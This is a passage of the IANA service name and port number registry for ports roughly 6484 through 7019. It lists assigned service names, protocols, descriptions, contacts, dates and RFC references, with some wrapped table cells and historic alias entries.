sun-sr-jms 6484 udp Service Registry Default JMS [Paul_Sterk] [Paul_Sterk] 2006-03
Domain
sun-sr-iiop 6485 tcp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
IIOP Domain
sun-sr-iiop 6485 udp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
IIOP Domain
sun-sr-iiops 6486 tcp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
IIOPS Domain
sun-sr-iiops 6486 udp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
IIOPS Domain
sun-sr-iiop-aut 6487 tcp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
IIOPAuth Domain
sun-sr-iiop-aut 6487 udp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
IIOPAuth Domain
sun-sr-jmx 6488 tcp Service Registry Default JMX [Paul_Sterk] [Paul_Sterk] 2006-03
Domain
sun-sr-jmx 6488 udp Service Registry Default JMX [Paul_Sterk] [Paul_Sterk] 2006-03
Domain
sun-sr-admin 6489 tcp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
Admin Domain
sun-sr-admin 6489 udp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
Admin Domain
6490-6499 Unassigned
boks 6500 tcp BoKS Master [Magnus_Nystrom] [Magnus_Nystrom]
boks 6500 udp BoKS Master [Magnus_Nystrom] [Magnus_Nystrom]
BoKS Servc
Known
boks-servc 6501 tcp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom] Unauthorized
well-formed service name as Use on port
a replacement for 6501
"boks_servc".
Known This entry is an alias to "boks-servc". This entry is now
boks_servc 6501 tcp BoKS Servc [Magnus_Nystrom] [Magnus_Nystrom] Unauthorized historic, not usable for use with many common service
Use on port discovery mechanisms.
6501
BoKS Servc
boks-servc 6501 udp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"boks_servc".
This entry is an alias to "boks-servc". This entry is now
boks_servc 6501 udp BoKS Servc [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Servm
boks-servm 6502 tcp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"boks_servm".
This entry is an alias to "boks-servm". This entry is now
boks_servm 6502 tcp BoKS Servm [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Servm
boks-servm 6502 udp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"boks_servm".
This entry is an alias to "boks-servm". This entry is now
boks_servm 6502 udp BoKS Servm [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Clntd
boks-clntd 6503 tcp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"boks_clntd".
This entry is an alias to "boks-clntd". This entry is now
boks_clntd 6503 tcp BoKS Clntd [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Clntd
boks-clntd 6503 udp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"boks_clntd".
This entry is an alias to "boks-clntd". This entry is now
boks_clntd 6503 udp BoKS Clntd [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
6504 Unassigned
BoKS Admin Private Port
badm-priv 6505 tcp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"badm_priv".
This entry is an alias to "badm-priv". This entry is now
badm_priv 6505 tcp BoKS Admin Private Port [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Admin Private Port
badm-priv 6505 udp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"badm_priv".
This entry is an alias to "badm-priv". This entry is now
badm_priv 6505 udp BoKS Admin Private Port [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Admin Public Port
badm-pub 6506 tcp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"badm_pub".
This entry is an alias to "badm-pub". This entry is now
badm_pub 6506 tcp BoKS Admin Public Port [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Admin Public Port
badm-pub 6506 udp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"badm_pub".
This entry is an alias to "badm-pub". This entry is now
badm_pub 6506 udp BoKS Admin Public Port [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Dir Server, Private
Port
bdir-priv 6507 tcp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"bdir_priv".
BoKS Dir Server, Private This entry is an alias to "bdir-priv". This entry is now
bdir_priv 6507 tcp Port [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Dir Server, Private
Port
bdir-priv 6507 udp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"bdir_priv".
BoKS Dir Server, Private This entry is an alias to "bdir-priv". This entry is now
bdir_priv 6507 udp Port [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Dir Server, Public Port
bdir-pub 6508 tcp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"bdir_pub".
This entry is an alias to "bdir-pub". This entry is now
bdir_pub 6508 tcp BoKS Dir Server, Public Port [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
BoKS Dir Server, Public Port
bdir-pub 6508 udp IANA assigned this [Magnus_Nystrom] [Magnus_Nystrom]
well-formed service name as
a replacement for
"bdir_pub".
This entry is an alias to "bdir-pub". This entry is now
bdir_pub 6508 udp BoKS Dir Server, Public Port [Magnus_Nystrom] [Magnus_Nystrom] historic, not usable for use with many common service
discovery mechanisms.
mgcs-mfp-port 6509 tcp MGCS-MFP Port [Minoru_Ozaki] [Minoru_Ozaki]
mgcs-mfp-port 6509 udp MGCS-MFP Port [Minoru_Ozaki] [Minoru_Ozaki]
mcer-port 6510 tcp MCER Port [Portnoy_Boxman] [Portnoy_Boxman]
mcer-port 6510 udp MCER Port [Portnoy_Boxman] [Portnoy_Boxman]
6511 tcp Reserved
Datagram Congestion Control
dccp-udp 6511 udp Protocol Encapsulation for [IESG] [IETF_Chair] [RFC6773]
NAT Traversal
6512-6512 Unassigned
netconf-tls 6513 tcp NETCONF over TLS [IESG] [IETF_Chair] 2015-04-15 [RFC7589]
6513 udp Reserved
syslog-tls 6514 tcp Syslog over TLS [RFC5425]
syslog-tls 6514 udp syslog over DTLS [RFC6012]
syslog-tls 6514 dccp syslog over DTLS [RFC6012]
elipse-rec 6515 tcp Elipse RPC Protocol [F_Englert] [F_Englert] 2007-09-17
elipse-rec 6515 udp Elipse RPC Protocol [F_Englert] [F_Englert] 2007-09-17
6516-6542 Unassigned
lds-distrib 6543 tcp lds_distrib [Jack_Baker] [Jack_Baker] 2003-06
lds-distrib 6543 udp lds_distrib [Jack_Baker] [Jack_Baker] 2003-06
lds-dump 6544 tcp LDS Dump Service [Jack_Baker] [Jack_Baker] 2006-02
lds-dump 6544 udp LDS Dump Service [Jack_Baker] [Jack_Baker] 2006-02
6545-6546 Unassigned
apc-6547 6547 tcp APC 6547 [American_Power_Conve] [American_Power_Conve]
apc-6547 6547 udp APC 6547 [American_Power_Conve] [American_Power_Conve]
apc-6548 6548 tcp APC 6548 [American_Power_Conve] [American_Power_Conve]
apc-6548 6548 udp APC 6548 [American_Power_Conve] [American_Power_Conve]
apc-6549 6549 tcp APC 6549 [American_Power_Conve] [American_Power_Conve]
apc-6549 6549 udp APC 6549 [American_Power_Conve] [American_Power_Conve]
fg-sysupdate 6550 tcp fg-sysupdate [Mark_Beyer] [Mark_Beyer]
fg-sysupdate 6550 udp fg-sysupdate [Mark_Beyer] [Mark_Beyer]
sum 6551 tcp Software Update Manager [Jan_Dirven] [Jan_Dirven] 2007-12-13
sum 6551 udp Software Update Manager [Jan_Dirven] [Jan_Dirven] 2007-12-13
6552-6557 Unassigned
xdsxdm 6558 tcp [Brian_Tackett] [Brian_Tackett] possible contact
xdsxdm 6558 udp [Brian_Tackett] [Brian_Tackett] possible contact
6559-6565 Unassigned
sane-port 6566 tcp SANE Control Port [Henning_Meier_Geinit] [Henning_Meier_Geinit] 2002-10
sane-port 6566 udp SANE Control Port [Henning_Meier_Geinit] [Henning_Meier_Geinit] 2002-10
6567 Reserved 2007-01 2011-08-26 This entry has been removed on 2011-08-26.
CanIt Storage Manager
canit-store 6568 tcp IANA assigned this [Dianne_Skoll] [Dianne_Skoll] 2009-04-22 2017-05-25
well-formed service name as
a replacement for
"canit_store".
This entry is an alias to "canit-store". This entry is now
canit_store 6568 tcp CanIt Storage Manager [Dianne_Skoll] [Dianne_Skoll] 2009-04-22 2017-05-25 historic, not usable for use with many common service
discovery mechanisms.
rp-reputation 6568 udp Roaring Penguin IP Address [Dianne_Skoll] [Dianne_Skoll] 2010-02-05 2017-05-25
Reputation Collection
6569-6578 Unassigned
affiliate 6579 tcp Affiliate [David_Catmull] [David_Catmull] 2006-01
affiliate 6579 udp Affiliate [David_Catmull] [David_Catmull] 2006-01
parsec-master 6580 tcp Parsec Masterserver [Andreas_Varga] [Andreas_Varga]
parsec-master 6580 udp Parsec Masterserver [Andreas_Varga] [Andreas_Varga]
parsec-peer 6581 tcp Parsec Peer-to-Peer [Andreas_Varga] [Andreas_Varga]
parsec-peer 6581 udp Parsec Peer-to-Peer [Andreas_Varga] [Andreas_Varga]
parsec-game 6582 tcp Parsec Gameserver [Andreas_Varga] [Andreas_Varga]
parsec-game 6582 udp Parsec Gameserver [Andreas_Varga] [Andreas_Varga]
joaJewelSuite 6583 tcp JOA Jewel Suite [Bob_Rundle] [Bob_Rundle] 2005-11
joaJewelSuite 6583 udp JOA Jewel Suite [Bob_Rundle] [Bob_Rundle] 2005-11
6584-6587 Unassigned
Unofficial
use of port
6588 Unassigned 6588 by
AnalogX and
Microsoft
6589-6599 Unassigned
mshvlm 6600 tcp Microsoft Hyper-V Live [Rajesh_D] [Rajesh_D] 2009-02-03
Migration
6600 udp Reserved
mstmg-sstp 6601 tcp Microsoft Threat Management [Ori_Yosefi] [Ori_Yosefi] 2009-05-04
Gateway SSTP
6601 udp Reserved
wsscomfrmwk 6602 tcp Windows WSS Communication [Rong_Yu] [Rong_Yu] 2010-08-10
Framework
6602 udp Reserved
6603-6618 Unassigned
odette-ftps 6619 tcp ODETTE-FTP over TLS/SSL [Ieuan_Friend] [Ieuan_Friend] 2006-03 [RFC5024]
odette-ftps 6619 udp ODETTE-FTP over TLS/SSL [Ieuan_Friend] [Ieuan_Friend] 2006-03 [RFC5024]
kftp-data 6620 tcp Kerberos V5 FTP Data [Robert_J_Scott] [Robert_J_Scott] 2005-08
kftp-data 6620 udp Kerberos V5 FTP Data [Robert_J_Scott] [Robert_J_Scott] 2005-08
kftp 6621 tcp Kerberos V5 FTP Control [Robert_J_Scott] [Robert_J_Scott] 2005-08
kftp 6621 udp Kerberos V5 FTP Control [Robert_J_Scott] [Robert_J_Scott] 2005-08
mcftp 6622 tcp Multicast FTP [Bruce_Lueckenhoff_2] [Bruce_Lueckenhoff_2] 2006-02
mcftp 6622 udp Multicast FTP [Bruce_Lueckenhoff_2] [Bruce_Lueckenhoff_2] 2006-02
ktelnet 6623 tcp Kerberos V5 Telnet [Robert_J_Scott] [Robert_J_Scott] 2005-08
ktelnet 6623 udp Kerberos V5 Telnet [Robert_J_Scott] [Robert_J_Scott] 2005-08
datascaler-db 6624 tcp DataScaler database [Vasu_Murthy] [Vasu_Murthy] 2010-02-08
6624 udp Reserved
datascaler-ctl 6625 tcp DataScaler control [Vasu_Murthy] [Vasu_Murthy] 2010-02-08
6625 udp Reserved
wago-service 6626 tcp WAGO Service and Update [Wolfgang_Adler] [Wolfgang_Adler] 2006-04
wago-service 6626 udp WAGO Service and Update [Wolfgang_Adler] [Wolfgang_Adler] 2006-04
nexgen 6627 tcp Allied Electronics NeXGen [Lou_Seitchik] [Lou_Seitchik] 2005-08
nexgen 6627 udp Allied Electronics NeXGen [Lou_Seitchik] [Lou_Seitchik] 2005-08
afesc-mc 6628 tcp AFE Stock Channel M/C [K_K_Ho] [K_K_Ho] 2004-04
afesc-mc 6628 udp AFE Stock Channel M/C [K_K_Ho] [K_K_Ho] 2004-04
Secondary, (non ANDI)
multi-protocol
nexgen-aux 6629 tcp multi-function interface to [Allied_Electronics] [Robert_E_Tomenchok_Jr] 2016-11-29
the Allied ANDI-based family
of forecourt controllers
Secondary, (non ANDI)
multi-protocol
nexgen-aux 6629 udp multi-function interface to [Allied_Electronics] [Robert_E_Tomenchok_Jr] 2016-11-29
the Allied ANDI-based family
of forecourt controllers
6630 Unassigned
6631 Unassigned 2004-05-28
Unauthorized
mxodbc-connect 6632 tcp eGenix mxODBC Connect [Marc_Andre_Lemburg] [Marc_Andre_Lemburg] 2009-11-13 Use Known on
port 6632
6632 udp Reserved
6633 tcp Reserved
cisco-vpath-tun 6633 udp Cisco vPath Services Overlay [Cisco2] [Surendra_Kumar] 2012-06-11
mpls-pm 6634 udp MPLS Performance Measurement [Cisco_Systems_2] [Sagar_Soni] 2014-02-20
out-of-band response
6634 tcp Reserved
6635 tcp Reserved
mpls-udp 6635 udp Encapsulate MPLS packets in [IESG] [IETF_Chair] 2015-02-10 [RFC7510]
UDP tunnels.
6636 tcp Reserved
mpls-udp-dtls 6636 udp Encapsulate MPLS packets in [IESG] [IETF_Chair] 2015-02-10 [RFC7510]
UDP tunnels with DTLS.
6637-6639 Unassigned
ovsdb 6640 tcp Open vSwitch Database [Bruce_Davie_2] [Bruce_Davie_2] 2013-07-31 [RFC7047]
protocol
6640 udp Reserved
6641-6652 Unassigned
openflow 6653 tcp OpenFlow [Open_Networking_Foundation] [Puneet_Agarwal] 2013-07-18
openflow 6653 udp OpenFlow [Open_Networking_Foundation] [Puneet_Agarwal] 2013-07-18
6654 Unassigned
pcs-sf-ui-man 6655 tcp PC SOFT - Software factory [Jerome_AERTS] [Jerome_AERTS] 2010-11-30
UI/manager
6655 udp Reserved
emgmsg 6656 tcp Emergency Message Control [Gerry_Gorman] [Gerry_Gorman] 2010-12-06
Service
6656 udp Reserved
6657 tcp Reserved
palcom-disc 6657 udp PalCom Discovery [Boris_Magnusson] [Boris_Magnusson] 2010-12-06
Unauthorized
6658-6664 Unassigned Use Known on
Port 6659
ircu 6665-6669 tcp IRCU [Brian_Tackett] [Brian_Tackett]
6665-6669 udp Reserved
vocaltec-gold 6670 tcp Vocaltec Global Online [Scott_Petrack] [Scott_Petrack]
Directory
vocaltec-gold 6670 udp Vocaltec Global Online [Scott_Petrack] [Scott_Petrack]
Directory
p4p-portal 6671 tcp P4P Portal Service [Chris_Griffiths] [Chris_Griffiths] 2008-07-28
p4p-portal 6671 udp P4P Portal Service [Chris_Griffiths] [Chris_Griffiths] 2008-07-28
vision_server
vision-server 6672 tcp IANA assigned this [Chris_Kramer] [Chris_Kramer]
well-formed service name as
a replacement for
"vision_server".
This entry is an alias to "vision-server". This entry is now
vision_server 6672 tcp vision_server [Chris_Kramer] [Chris_Kramer] historic, not usable for use with many common service
discovery mechanisms.
vision_server
vision-server 6672 udp IANA assigned this [Chris_Kramer] [Chris_Kramer]
well-formed service name as
a replacement for
"vision_server".
This entry is an alias to "vision-server". This entry is now
vision_server 6672 udp vision_server [Chris_Kramer] [Chris_Kramer] historic, not usable for use with many common service
discovery mechanisms.
vision_elmd
vision-elmd 6673 tcp IANA assigned this [Chris_Kramer] [Chris_Kramer]
well-formed service name as
a replacement for
"vision_elmd".
This entry is an alias to "vision-elmd". This entry is now
vision_elmd 6673 tcp vision_elmd [Chris_Kramer] [Chris_Kramer] historic, not usable for use with many common service
discovery mechanisms.
vision_elmd
vision-elmd 6673 udp IANA assigned this [Chris_Kramer] [Chris_Kramer]
well-formed service name as
a replacement for
"vision_elmd".
This entry is an alias to "vision-elmd". This entry is now
vision_elmd 6673 udp vision_elmd [Chris_Kramer] [Chris_Kramer] historic, not usable for use with many common service
discovery mechanisms.
6674-6677 Unassigned
vfbp 6678 tcp Viscount Freedom Bridge [Chris_MacDonald] [Chris_MacDonald] 2011-03-16
Protocol
vfbp-disc 6678 udp Viscount Freedom Bridge [Chris_MacDonald] [Chris_MacDonald] 2011-03-16
Discovery
osaut 6679 tcp Osorno Automation [Peter_Hombach] [Peter_Hombach] 2011-03-16
osaut 6679 udp Osorno Automation [Peter_Hombach] [Peter_Hombach] 2011-03-16
6680-6686 Unassigned
clever-ctrace 6687 tcp CleverView for cTrace [David_Cheng] [David_Cheng] 2010-02-01
Message Service
6687 udp Reserved
clever-tcpip 6688 tcp CleverView for TCP/IP [David_Cheng] [David_Cheng] 2009-10-13
Message Service
6688 udp Reserved
tsa 6689 tcp Tofino Security Appliance [Scott_Howard] [Scott_Howard] 2009-10-13
tsa 6689 udp Tofino Security Appliance [Scott_Howard] [Scott_Howard] 2009-10-13
cleverdetect 6690 tcp CLEVERDetect Message Service [Applied_Expert_Systems_Inc] [David_Cheng] 2014-12-03
6690 udp Reserved
6691-6695 Unassigned
6696 tcp Reserved
babel 6696 udp Babel Routing Protocol 2011-08-15 [RFC6126]
ircs-u 6697 tcp Internet Relay Chat via 2014-02-11 [RFC7194]
TLS/SSL
6697 udp Reserved 2014-02-11
6698-6699 Unassigned
6700 Unassigned 2010-01-26
kti-icad-srvr 6701 tcp KTI/ICAD Nameserver [Stanley_Knutson] [Stanley_Knutson]
kti-icad-srvr 6701 udp KTI/ICAD Nameserver [Stanley_Knutson] [Stanley_Knutson]
6701 sctp Unassigned 2010-01-26
e-design-net 6702 tcp e-Design network [Janos_Lerch] [Janos_Lerch] 2006-02
e-design-net 6702 udp e-Design network [Janos_Lerch] [Janos_Lerch] 2006-02
6702 sctp Unassigned 2010-01-26
e-design-web 6703 tcp e-Design web [Janos_Lerch] [Janos_Lerch] 2006-02
e-design-web 6703 udp e-Design web [Janos_Lerch] [Janos_Lerch] 2006-02
6704 udp Reserved
6704 tcp Reserved
frc-hp 6704 sctp ForCES HP (High Priority) [RFC5811]
channel
6705 udp Reserved
6705 tcp Reserved
frc-mp 6705 sctp ForCES MP (Medium Priority) [RFC5811]
channel
6706 udp Reserved
6706 tcp Reserved
frc-lp 6706 sctp ForCES LP (Low priority) [RFC5811]
channel
6707-6713 Unassigned
ibprotocol 6714 tcp Internet Backplane Protocol [Alessandro_Bassi] [Alessandro_Bassi]
ibprotocol 6714 udp Internet Backplane Protocol [Alessandro_Bassi] [Alessandro_Bassi]
fibotrader-com 6715 tcp Fibotrader Communications [Robert_Wetzold] [Robert_Wetzold] 2006-01
fibotrader-com 6715 udp Fibotrader Communications [Robert_Wetzold] [Robert_Wetzold] 2006-01
princity-agent 6716 tcp Princity Agent [ENSTEAM_Sp_z.o.o.] [Tomasz_Krakowiak] 2014-07-07 2015-07-08
6716 udp Reserved
6717-6766 Unassigned
bmc-perf-agent 6767 tcp BMC PERFORM AGENT [Portnoy_Boxman] [Portnoy_Boxman]
bmc-perf-agent 6767 udp BMC PERFORM AGENT [Portnoy_Boxman] [Portnoy_Boxman]
bmc-perf-mgrd 6768 tcp BMC PERFORM MGRD [Portnoy_Boxman] [Portnoy_Boxman]
bmc-perf-mgrd 6768 udp BMC PERFORM MGRD [Portnoy_Boxman] [Portnoy_Boxman]
adi-gxp-srvprt 6769 tcp ADInstruments GxP Server [Mathew_Pitchforth] [Mathew_Pitchforth] 2005-08
adi-gxp-srvprt 6769 udp ADInstruments GxP Server [Mathew_Pitchforth] [Mathew_Pitchforth] 2005-08
plysrv-http 6770 tcp PolyServe http [Mike_Spitzer] [Mike_Spitzer] 2005-08
plysrv-http 6770 udp PolyServe http [Mike_Spitzer] [Mike_Spitzer] 2005-08
plysrv-https 6771 tcp PolyServe https [Mike_Spitzer] [Mike_Spitzer] 2005-08
plysrv-https 6771 udp PolyServe https [Mike_Spitzer] [Mike_Spitzer] 2005-08
6772-6776 Unassigned
ntz-tracker 6777 tcp netTsunami Tracker [Tomahawk_Holdings] [Sagara_Wijetunga] 2013-05-01
6777 udp Reserved
ntz-p2p-storage 6778 tcp netTsunami p2p storage [Tomahawk_Holdings] [Sagara_Wijetunga] 2013-05-01
system
6778 udp Reserved
6779-6783 Unassigned
6784 tcp Reserved
Bidirectional Forwarding
bfd-lag 6784 udp Detection (BFD) on Link [IESG] [BFD_Chairs] 2012-11-08 2014-01-09 [RFC7130]
Aggregation Group (LAG)
Interfaces
dgpf-exchg 6785 tcp DGPF Individual Exchange [Thomas_Weise] [Thomas_Weise] 2006-04
dgpf-exchg 6785 udp DGPF Individual Exchange [Thomas_Weise] [Thomas_Weise] 2006-04
smc-jmx 6786 tcp Sun Java Web Console JMX [Bill_Edwards] [Bill_Edwards] 2005-08
smc-jmx 6786 udp Sun Java Web Console JMX [Bill_Edwards] [Bill_Edwards] 2005-08
smc-admin 6787 tcp Sun Web Console Admin [Bill_Edwards] [Bill_Edwards] 2005-08
smc-admin 6787 udp Sun Web Console Admin [Bill_Edwards] [Bill_Edwards] 2005-08
smc-http 6788 tcp SMC-HTTP [Ratnadeep_Bhattachar] [Ratnadeep_Bhattachar] 2002-11
smc-http 6788 udp SMC-HTTP [Ratnadeep_Bhattachar] [Ratnadeep_Bhattachar] 2002-11
radg 6789 tcp GSS-API for the Oracle [Oracle_9] [Shawn_Emery] 2002-08 2016-09-15
Remote Administration Daemon
6789 udp Reserved 2002-08 2016-09-15
hnmp 6790 tcp HNMP [Jude_George] [Jude_George]
hnmp 6790 udp HNMP [Jude_George] [Jude_George]
hnm 6791 tcp Halcyon Network Manager [Richard_Harriss] [Richard_Harriss] 2005-05
hnm 6791 udp Halcyon Network Manager [Richard_Harriss] [Richard_Harriss] 2005-05
6792-6800 Unassigned
acnet 6801 tcp ACNET Control System [Fermilab] [Rich_Neswold] 2007-02 2017-07-13
Protocol
acnet 6801 udp ACNET Control System [Fermilab] [Rich_Neswold] 2007-02 2017-07-13
Protocol
6802-6816 Unassigned
pentbox-sim 6817 tcp PenTBox Secure IM Protocol [Alberto_Ortega_Llama] [Alberto_Ortega_Llama] 2009-11-04
6817 udp Reserved
6818-6830 Unassigned
ambit-lm 6831 tcp ambit-lm [Don_Hejna] [Don_Hejna]
ambit-lm 6831 udp ambit-lm [Don_Hejna] [Don_Hejna]
6832-6840 Unassigned
netmo-default 6841 tcp Netmo Default [Urs_Bertschinger] [Urs_Bertschinger]
netmo-default 6841 udp Netmo Default [Urs_Bertschinger] [Urs_Bertschinger]
netmo-http 6842 tcp Netmo HTTP [Urs_Bertschinger] [Urs_Bertschinger]
netmo-http 6842 udp Netmo HTTP [Urs_Bertschinger] [Urs_Bertschinger]
6843-6849 Unassigned
iccrushmore 6850 tcp ICCRUSHMORE [Dave_Hubbard] [Dave_Hubbard]
iccrushmore 6850 udp ICCRUSHMORE [Dave_Hubbard] [Dave_Hubbard]
6851-6867 Unassigned
acctopus-cc 6868 tcp Acctopus Command Channel [Stefan_Auweiler] [Stefan_Auweiler] 2009-11-16
acctopus-st 6868 udp Acctopus Status [Stefan_Auweiler] [Stefan_Auweiler] 2009-11-16
6869-6887 Unassigned
muse 6888 tcp MUSE [Muse_Communications] [Muse_Communications]
muse 6888 udp MUSE [Muse_Communications] [Muse_Communications]
6889 Unassigned
rtimeviewer 6900 tcp R*TIME Viewer Data Interface [Curtiss-Wright_Corporation] [Robert_Ammon] 2016-12-14
6900 udp Reserved
jetstream 6901 tcp Novell Jetstream messaging [Anil_Tyagi] [Anil_Tyagi] 2010-06-11
protocol
6901 udp Reserved
6902-6934 Unassigned
ethoscan 6935 tcp EthoScan Service [Marty_Campbell] [Marty_Campbell] 2011-06-10
ethoscan 6935 udp EthoScan Service [Marty_Campbell] [Marty_Campbell] 2011-06-10
xsmsvc 6936 tcp XenSource Management Service [Roger_Klorese] [Roger_Klorese] 2006-06
xsmsvc 6936 udp XenSource Management Service [Roger_Klorese] [Roger_Klorese] 2006-06
6937-6945 Unassigned
bioserver 6946 tcp Biometrics Server [ISHII_AKIO] [ISHII_AKIO] 2006-01
bioserver 6946 udp Biometrics Server [ISHII_AKIO] [ISHII_AKIO] 2006-01
6947-6950 Unassigned
otlp 6951 tcp OTLP [Brent_Foster] [Brent_Foster] 2006-04
otlp 6951 udp OTLP [Brent_Foster] [Brent_Foster] 2006-04
6952-6960 Unassigned
jmact3 6961 tcp JMACT3 [Yutaka_Ono] [Yutaka_Ono]
jmact3 6961 udp JMACT3 [Yutaka_Ono] [Yutaka_Ono]
jmevt2 6962 tcp jmevt2 [Yutaka_Ono] [Yutaka_Ono]
jmevt2 6962 udp jmevt2 [Yutaka_Ono] [Yutaka_Ono]
swismgr1 6963 tcp swismgr1 [Yutaka_Ono] [Yutaka_Ono]
swismgr1 6963 udp swismgr1 [Yutaka_Ono] [Yutaka_Ono]
swismgr2 6964 tcp swismgr2 [Yutaka_Ono] [Yutaka_Ono]
swismgr2 6964 udp swismgr2 [Yutaka_Ono] [Yutaka_Ono]
swistrap 6965 tcp swistrap [Yutaka_Ono] [Yutaka_Ono]
swistrap 6965 udp swistrap [Yutaka_Ono] [Yutaka_Ono]
swispol 6966 tcp swispol [Yutaka_Ono] [Yutaka_Ono]
swispol 6966 udp swispol [Yutaka_Ono] [Yutaka_Ono]
6967-6968 Unassigned
acmsoda 6969 tcp acmsoda [Daniel_Simms] [Daniel_Simms]
acmsoda 6969 udp acmsoda [Daniel_Simms] [Daniel_Simms]
conductor 6970 tcp Conductor test coordination [George_Neville-Neil] [George_Neville-Neil] 2014-09-18
protocol
6970 udp Reserved
conductor-mpx 6970 sctp conductor for multiplex [George_Neville-Neil] [George_Neville-Neil] 2014-07-29
6971-6996 Unassigned
MobilitySrv 6997 tcp Mobility XE Protocol [Joseph_T_Savarese] [Joseph_T_Savarese] 2007-06
MobilitySrv 6997 udp Mobility XE Protocol [Joseph_T_Savarese] [Joseph_T_Savarese] 2007-06
iatp-highpri 6998 tcp IATP-highPri [John_Murphy] [John_Murphy]
iatp-highpri 6998 udp IATP-highPri [John_Murphy] [John_Murphy]
iatp-normalpri 6999 tcp IATP-normalPri [John_Murphy] [John_Murphy]
iatp-normalpri 6999 udp IATP-normalPri [John_Murphy] [John_Murphy]
afs3-fileserver 7000 tcp file server itself
afs3-fileserver 7000 udp file server itself
Known
afs3-callback 7001 tcp callbacks to cache managers Unauthorized
Use on port
7001
Known
afs3-callback 7001 udp callbacks to cache managers Unauthorized
Use on port
7001
Known
afs3-prserver 7002 tcp users & groups database Unauthorized
Use on port
7002
Known
afs3-prserver 7002 udp users & groups database Unauthorized
Use on port
7002
afs3-vlserver 7003 tcp volume location database
afs3-vlserver 7003 udp volume location database
afs3-kaserver 7004 tcp AFS/Kerberos authentication
service
afs3-kaserver 7004 udp AFS/Kerberos authentication
service
Known
afs3-volser 7005 tcp volume managment server Unauthorized
Use on port
7005
Known
afs3-volser 7005 udp volume managment server Unauthorized
Use on port
7005
afs3-errors 7006 tcp error interpretation service
afs3-errors 7006 udp error interpretation service
afs3-bos 7007 tcp basic overseer process
afs3-bos 7007 udp basic overseer process
afs3-update 7008 tcp server-to-server updater
afs3-update 7008 udp server-to-server updater
afs3-rmtsys 7009 tcp remote cache manager service
afs3-rmtsys 7009 udp remote cache manager service
ups-onlinet 7010 tcp onlinet uninterruptable [Jim_Thompson] [Jim_Thompson]
power supplies
ups-onlinet 7010 udp onlinet uninterruptable [Jim_Thompson] [Jim_Thompson]
power supplies
Known
talon-disc 7011 tcp Talon Discovery Port [Jim_Thompson] [Jim_Thompson] Unauthorized
Use on 7011
Known
talon-disc 7011 udp Talon Discovery Port [Jim_Thompson] [Jim_Thompson] Unauthorized
Use on 7011
Known
talon-engine 7012 tcp Talon Engine [Jim_Thompson] [Jim_Thompson] Unauthorized
Use on 7011
Known
talon-engine 7012 udp Talon Engine [Jim_Thompson] [Jim_Thompson] Unauthorized
Use on 7011
microtalon-dis 7013 tcp Microtalon Discovery [Jim_Thompson] [Jim_Thompson]
microtalon-dis 7013 udp Microtalon Discovery [Jim_Thompson] [Jim_Thompson]
microtalon-com 7014 tcp Microtalon Communications [Jim_Thompson] [Jim_Thompson]
microtalon-com 7014 udp Microtalon Communications [Jim_Thompson] [Jim_Thompson]
talon-webserver 7015 tcp Talon Webserver [Jim_Thompson] [Jim_Thompson]
talon-webserver 7015 udp Talon Webserver [Jim_Thompson] [Jim_Thompson]
spg 7016 tcp SPG Controls Carrier [SPG_Controls_Ltd] [Steve_Barton_2] 2017-03-27
spg 7016 udp SPG Controls Carrier [SPG_Controls_Ltd] [Steve_Barton_2] 2017-03-27
grasp 7017 tcp GeneRic Autonomic Signaling [IESG] [IETF_Chair] 2017-04-28 2017-07-20 [RFC-ietf-anima-grasp-15]
Protocol
grasp 7017 udp GeneRic Autonomic Signaling [IESG] [IETF_Chair] 2017-04-28 2017-07-20 [RFC-ietf-anima-grasp-15]
Protocol
fisa-svc 7018 tcp FISA Service [FAUCONNET_Ingenierie] [FAUCONNET_Ingenierie] 2011-05-19
7018 udp Reserved
doceri-ctl 7019 tcp doceri drawing service [Paul_Brown] [Paul_Brown] 2011-04-27
control
doceri-view 7019 udp doceri drawing service [Paul_Brown] [Paul_Brown] 2011-04-27
screen view
